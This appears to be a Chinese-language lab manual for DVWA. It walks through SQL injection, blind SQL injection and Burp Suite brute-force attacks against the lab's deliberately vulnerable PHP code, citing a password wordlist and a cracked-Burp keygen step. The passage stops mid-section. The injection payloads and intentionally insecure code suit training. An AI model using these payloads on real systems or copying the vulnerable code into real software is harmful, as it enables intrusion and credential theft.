DVWA - 操作手册


Dvwa

环境:dvwa + win7 或者 dvwa + win10
工具:BurpSuite、中国菜刀

Dvwa Install

SourceCode 安装 DVWA

# 源码 - 安装 Dvwa
- 运行phpstudy

- 将下载好的DVWA文件放在www文件目录下面然后在浏览器打开127.0.0.1/dvwa/setup.php进行安装

- 在config中将config.inc.php.dist拷贝一份然后改为config.inc.php就能够	正常安装了

- 创建数据库a';
$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = 'root’;
然后浏览器打开http://127.0.0.1/DVWA-master/
,phpstudy中自带数据库,默认账号密码都是root,登录	mysql数据库,然后创建dvwa,完成创建。

- 打开config.inc.php,修改如下:
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvw';

Docker 安装 DVWA

# Docker - 安装 Dvwa
- 在 Linux 安装Docker

- 关闭防火墙(若对Linux不熟悉的尽量关闭,否则dvwa可能会访问失败)

- $ docker run --rm -it -p 80:80 vulnerables/web-dvwa  #这是前台运行程序  一旦Ctrl+C停止 则dvwa容器会被删除。

# Dvwa 默认密码
- 初始化界面账号密码:admin admin
- 登录界面账号密码:admin password
  • DVWA 初始化界面

wechat_20210513165400.png

  • DVWA 环境界面

wechat_20210513165706.png

Dvwa - SQL

SQL 注入 (SQL Injection)

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被"脱裤",尽管如此,SQL注入仍是现在最常见的Web漏洞之一。近期很火的大使馆接连被黑事件,据说黑客依靠的就是常见的SQL注入漏洞。

# 1. SQL 注入手工分析步骤
- 判断是否存在注入,注入是字符型还是数字型
(1). 数字型: SQL语句一般不需要闭合 大多数不需要注释符号
(2). 字符型: SQL语句需要闭合 或者需要注释符号

- 猜解SQL查询语句中的字段数及字段顺序
(1). order by: 对结果集按照一个列或者多个列进行排序。
(2). UNION SELECT: 联合查询。

- 获取当前数据库名
(1). database()函数
(2). user()函数

- 获取数据库中的表名
(1). group_concat(table_name)函数
(2). information_schema表

- 获取表中的字段名

- 下载数据

# 2. 服务器代码分析

Level - Low

  • 判断是否存在注入

输入:1,查询成功,返回一个结果;

wechat_20210513172105.png

输入:1' and '1' = '2 查询失败,返回结果为空;

wechat_20210513172253.png

输入:1' or '1' = '1 查询成功,返回多个结果;

wechat_20210513172419.png

  • 猜解SQL查询语句中的字段数及字段顺序

输入:1' or 1=1 order by 1# ,查询成功,返回结果;

wechat_20210513173207.png

输入:1' or 1=1 order by 2 # ,查询成功,返回结果;

wechat_20210513173240.png

输入:1' or 1=1 order by 3 # ,查询失败,说明执行SQL查询语句中 要查询的字段只有两个。即图中的First name 和 Surname。

wechat_20210513173500.png

输入:'union select 1,2 # ,查询成功,返回结果;该命令还能显示字段顺序。

wechat_20210513174521.png

  • 获取数据库名

输入:'union select user(),database() # ,查询成功,返回结果;

wechat_20210513174740.png

  • 获取数据库中表的名称

输入:'UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ,查询成功,返回结果;根据返回的信息,获得数据库dvwa中共有两个表,guestbook和users。

wechat_20210513175113.png

  • 获取表中的字段名(表结构)

输入:'union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'# ,查询表中字段名(表结构)

wechat_20210513175412.png

  • 下载数据(尝试获取 user 和 password)

输入:'union select user,password from users# ,查询成功,返回结果;

wechat_20210513175816.png

  • 尝试破解password

口令为32位,猜测为md5哈希值,也可以为其它。借助md5哈希值查询网站https://www.cmd5.com/。

解析的密码结果:

5f4dcc3b5aa765d61d8327deb882cf99 - password
...
5f4dcc3b5aa765d61d8327deb882cf99 - password
  • 代码分析
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

Level - Medium

BurpSuite - 安装

首先需要安装JDK环境

然后直接下载工具包-> 解压 burp_suite -> burp-loader-keygen.jar -> run

wechat_20210515221034.png

wechat_20210515221103.png

wechat_20210515221116.png

BurpSuite - 代理设置

Level 设置为 Medium后 没有了输入框

wechat_20210513224439.png

  • 判断是否存在注入 是字符型还是数字型
    • 字符型注入

      使用Burp Suite 抓包:

      首先将Burp Suite打开,然后点击Submit,在Burp Suite中更改参数id为:1' or 1 = 1 # (判断是否为字符型注入)

      修改完成后点击Forward

      返回出错信息; You have an error ...;通过反馈的信息可知不是 "字符型注入"

      wechat_20210513225211.png

      • 数字型注入

在Burp Suite中更改参数id为:1 or 1 = 1 # (判断是否为数字型注入)

修改完成后点击Forward ;

wechat_20210513225712.png

查询成功,返回结果;说明存在数字型注入,由于是数字型注入,服务器端的mysql_ real_ escape_ string函数就形同虚设了,因为数字型注入并不需要借助引号。

wechat_20210513225754.png

  • 猜解SQL查询语句中的字段数及字段顺序

BurpSuite抓包,修改参数id为:1 order by 1 # 查询成功

BurpSuite抓包,修改参数id为:1 order by 2 # 查询成功

BurpSuite抓包,修改参数id为:1 order by 3 # 返回出错信息

说明执行SQL查询语句中只有两个字段,即First name 和 Surname。

猜测SQL查询语句 select First_name,Surname from table_name where id = ?

wechat_20210513231654.png

  • 获取数据库名

BurpSuite抓包,修改参数id为: id=1 union select user(),database() # 查询成功

wechat_20210513231915.png

  • 获取数据库中表的名称

BurpSuite抓包,修改参数id为:UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查询成功

wechat_20210513232045.png

  • 获取表中的字段名(表结构)

BurpSuite抓包,修改参数id为:union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' # 查询失败;

因为单引号'被转义了,变成了\' 利用16进制可以绕过;

wechat_20210514003451.png

将查询到的表 users 转换成 16进制: users -> 7573657273

BurpSuite抓包,修改参数id为:union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 # 查询成功;

wechat_20210514004112.png

  • 下载数据(尝试获取 user 和 password)

BurpSuite抓包,修改参数id为: union select user,password from users # 查询成功;

20210514004248.png

  • 尝试破解password

口令为32位,猜测为md5哈希值,也可以为其它。借助md5哈希值查询网站https://www.cmd5.com/。

解析的密码结果:

5f4dcc3b5aa765d61d8327deb882cf99 - password
...
5f4dcc3b5aa765d61d8327deb882cf99 - password
  • 代码分析
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

Level - High

同理,和 Level - Low 和 Level - Medium 使用同样的方式。由于手工注入的过程与Low级别基本一样,直接最后一步演示下载数据。

  • 下载数据(尝试获取 user 和 password)

BurpSuite抓包,修改参数id为: ' union select user,password from users #

需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有反馈,也就没办法进一步注入。

20210514005645.png

  • 代码分析
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

Level - Impossible

尝试 使用 Level - Low 和 Level - Medium 的方式进行SQL注入,查看结果;通过结果可以知道SQL注入已经无法实现。

  • 理由如下
Impossible级别的代码采用了PDO(PHP Data Object)技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
  • 代码分析
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

SQL 盲注入 (SQL Injection Blind)

# SQL Injection(Blind)
参考文档: https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin

# SQL注入 和 SQL盲注 区别
- 注入: 可以查看到详细内容;如返回查询的信息;
- 盲注: 目标只会回复是或不是,没有详细内容;

# 手工盲注思路
- 手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是d啊?”,通过这种机械的询问,最终获得你想要的数据。

# SQL盲注类型
- 基于布尔值的盲注;
- 基于时间的盲注;
- 基于报错的盲注;

Level - Low

  • 判断是否存在注入

输入:1 查询成功,返回 User ID exists in the database.

输入:1' 查询失败,返回 User ID is MISSING from the database.

输入:1' or 1=1# 查询成功,返回 User ID exists in the database.

输入 :1' or 1=2# 查询成功,返回 User ID exists in the database.

20210514013557.png

  • 获取数据库名
    1. 获取数据库名称长度

输入:1' and length(database())= 1 #,将第二个1修改为2、3、4查看返回结果;当为4时,返回User ID exists in the database.

    1. 获取数据库名称

输入:1' and ascii(substr(database(),1,1))>97# 查询成功,返回 User ID exists in the database.

输入:1' and ascii(substr(database(),1,1))>100# 查询失败,返回User ID is MISSING from the database.

输入:1' and ascii(substr(database(),1,1))<103# 查询成功,返回 User ID exists in the database.

输入:1' and ascii(substr(database(),1,1))<100# 查询失败,返回User ID is MISSING from the database.

可以知道,数据库名的第一位字符的ascii码值为 100,通过查找ASCII码表得到ASCII码值为100的对应为d

重复上述步骤,就可以猜解出完整的数据库名dvwa了。

20210514014241.png

  • 获取数据库中表的名称
    1. 获取表的个数

输入:1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

输入:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在

可以知道,dvwa数据库中存在2个表;

    1. 获取表的长度

使用length()函数来猜测表的长度:

输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

可以知道,dvwa数据库中第一个表名长度为9;

    1. 获取表的名称

输入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

输入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

输入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

输入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

输入:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

可以知道,dvwa数据库中第一个表名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名guestbook、users。

  • 猜解表中的字段名
    1. 获取表字段数量

输入:1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在

输入:1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在

可以知道,说明users表有8个字段。

    1. 猜解表字段名长度:

eg: 1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit X,1),1))=1 # 表示第X列的字段名长度;如,user_id则1,1),1)) = 7

输入:1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在

输入:1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在

可以知道,users表的第一个字段长度为7个字符。只要修改X中的值即可获得所有字段的名称。

    1. 猜解表字段名

eg: 1 ' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit X,1),Z))=102# 表示第X列 第几个字母 如 first_name 为 X = 0表示第一列字段,Z等于1表示字母f的Ascii码

输入:1 ' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117# 显示存在

...

输入:1 ' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),7))=100# 显示存在

可以知道,users表的第一个字段的名为user_id;同理,只要修改X中的值即可获得所有字段的名称。

  • 猜解数据

eg:1' and ascii(substr((select user from users limit 0,1),X,1))=110# 修改 获取first_name字段中的数据

输入:1' and ascii(substr((select user from users limit 0,1),1,1))=97# 显示存在

...

输入:1' and ascii(substr((select user from users limit 0,1),1,1))=97# 显示存在

可以知道,user表中的第一个字段的第一个数据的第一个字母为a;同理,可以获得first_name存在名为admin的用户。

  • 代码分析
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Level - Medium

同理,将 SQL注入(Level - Medium) 和 SQL盲注入(Level - Low)技巧结合;

  • 代码分析
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

Level - High

同理,将 SQL注入(Level - High) 和 SQL盲注入(Level - Low)技巧结合;

  • 代码分析

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Level - High

尝试 将 SQL注入(Level - Impossible) 和 SQL盲注入(Level - Low)技巧结合;查看结果;通过结果可以知道SQL注入已经无法实现。

理由如下:

Impossible级别的代码采用了PDO(PHP Data Object)技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
  • 代码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Dvwa - Brute Force

# 1. Brute Force(暴力破解) 
- 参考文档: https://baike.baidu.com/item/%E6%9E%9A%E4%B8%BE%E6%B3%95/2473707?fromtitle=%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3&fromid=5828444&fr=aladdin

- "暴力破解"是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

- 理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:
(1). 是否要求用户设置复杂的密码;
(2). 是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
(3). 是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
(4). 是否采用了双因素认证;
...等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!


# 2. Brute Force(暴力破解) 步骤
- 选择破解点

- 设置本地代理

- 生成密码字典

- 使用 Burp Suite 进行拦截 & 设置 暴力破解位置

- 进行破解

Level - Low

  • 选择暴力破解点

20210514114107.png

  • 设置本地代理

    • Chrome浏览器

    设置 -> 打开您计算机的代理设置 -> 手动设置代理 -> 填写地址等信息

    20210514115431.png

    • Fire Fox浏览器

    设置 -> 高级 -> 网络 -> 连接设置 -> 手动设置代理

    wechat_20210514115654.png

  • 密码字典生成

可自行百度密码生产器;在这里可参照网址:https://www.bugku.com/mima/

常用的密码字典:

123456
password
12345678
qwerty
12345
123456789
letmein
1234567
football
iloveyou
admin
welcome
monkey
login
abc123
starwars
123123
dragon
passw0rd
master
hello
freedom
whatever
qazwsx
trustnol
654321
jordan23
harley
password1
1234
robert
mathew
jordan
asshole
daniel
andrew
lakers
andrea
buster
joshua
1qaz2wsx
12341234
ferrari
cheese
computer
corvette
blahblah
george
mercedes
121212
maverick
fuckyou
nicole
hunter
sunshine
tigger
1989
merlin
ranger
solo
banana
chelsea
summer
1990
phoenix
amanda
cookie
ashley
bandit
killer
aaaaaa
pepper
jessica
zaq1zaq1
jennifer
test
admin
hockey
dallas
passwor
michelle
admin123
pussy
pass
asdf
william
soccer
london
1q2w3e
1992
biteme
maggie
querty
rangers
charlie
martin
ginger
golfer
yankees
thunder
password
  • 使用 Burp Suite 进行拦截 & 设置 暴力破解位置
# 1. 开启 Intercept is on(拦截)
# 2. 输入 用户名 和 密码 点击 Login

wechat_20210514120319.png

# 3. Send to Intruder(发送到Intruder)

# 4.选择 Positions 设置参数
- Attack type(攻击类型):
(1). Sniper: 
(2). Battering ram: 
(3). Pitchfork:
(4). Cluster bomb:

- Start attack(开始攻击)

- Add$: 添加暴力破解参数位置
- Clear$: 删除暴力破解参数位置

wechat_20210514121615.png

# 5.Payloads(有效载荷又称参数位置) 设置
- 选择 Payload set: 1(先设置用户名字典username)
- 选择 Payload set: 2(后设置密码字典password)

wechat_20210514122130.png

  • 进行破解
# 1. start attack
- 点击 Length 重排序,可以看到有几个长度与其它的不一致,该密码为爆破成功的密码。

# 2. 断开拦截 | 断开代理
- 断开Burp Suite拦截 或者 断开代理都行
(1). 断开拦截: Proxy -> Intecept is on(由暗变亮为关闭)
(2). 断开代理: 设置本地代理的步骤

# 3. 登陆
- 将爆破出来的账号和密码输入到登录框中

wechat_20210514123008.png

  • 代码分析
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Level - Medium

同理,将 Brute Force(Level - Low) 使用同样步骤方法进行尝试。

  • 代码分析
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

结论:

- mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义,基本可以抵抗SQL注入

- $GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。 

- 可以看到,medium级别的代码对用户输入的参数进行了简单的过滤,对一些预定义字符进行了转义,基本上防止了SQL注入。还有一个措施就是如果密码输错了,则延时两秒之后才能再次提交。

- 这依然可以和 low 级别的爆破一样,只不过时间长了点而已。因为试一次密码要过滤2秒才能试下一个。

Level - High

# Brute Force(暴力破解) 步骤
- 对于有token来防护csrf的,可以使用到这个功能进行爆破,因为每次用户的token都是随机的。

- 选择攻击模式为pitchfock,并且给要破解的token项带上美元符号

- 选择options将线程数设置为1(递归查找,将上一个请求的相应token作为下一个请求的payload的token,所以就不并发)

- Grep-Extract模块进行相应设置,获取相应的token,截取相应token的前后标识,用于下次截取

- Redirections模块设置允许重定向,选择always

- 点击payload的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中
  • 使用Burp Suite拦截登录

通过Burp Suite抓包,发现参数多了一个user_token

wechat_20210515051938.png

  • Intruder 设置
  • 右键点击 send Intruder 或者 快捷键 Ctrl+I

  • Attack type(攻击模式):攻击模式选择Pitchfork

  • 设置暴力破解参数个数,如图设置3个 username 和 password 和 user_token

wechat_20210515052230.png

  • Options(参数)设置
    • Request Engine:将线程数设置为1
    • Grep - Extract:点击Add

wechat_20210515052639.png

  • 勾选 Exclude Http headers 然后点击Fetch response;

注:这里一定要显示出HTML网页 否则需要重新来一遍。快速操作

  • 找到 name='user_token' value='xxxxx' 选择value里的值

wechat_20210515052829.png

Options -> Redirections -> Always

wechat_20210515053549.png

  • Payloads(有效载荷 又称 参数) 设置
- Payload set 1:可参考 Level - Low 设置username 一般设置为 admin 或者 常用的用户名
- Payload set 2:可参考 Level - Low 设置password

wechat_20210515053817.png

- Payload set 3:设置user_token值(user_token可通过proxy获取)
- 点击Start attack 开始暴力破解

wechat_20210515054225.png

  • 爆破成功

一般有其中一个长度和其他不同都可作为猜测密码的依据。其中这里用户名 admin参数是固定的,只有密码变化。

wechat_20210515051741.png

  • 登录

wechat_20210514123008.png

  • 代码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Level - Impossible

尝试 使用 Level - Low 和 Level - Medium 的方式进行暴力破解,查看结果;通过结果可以知道暴力破解已经无法实现。

原因如下:

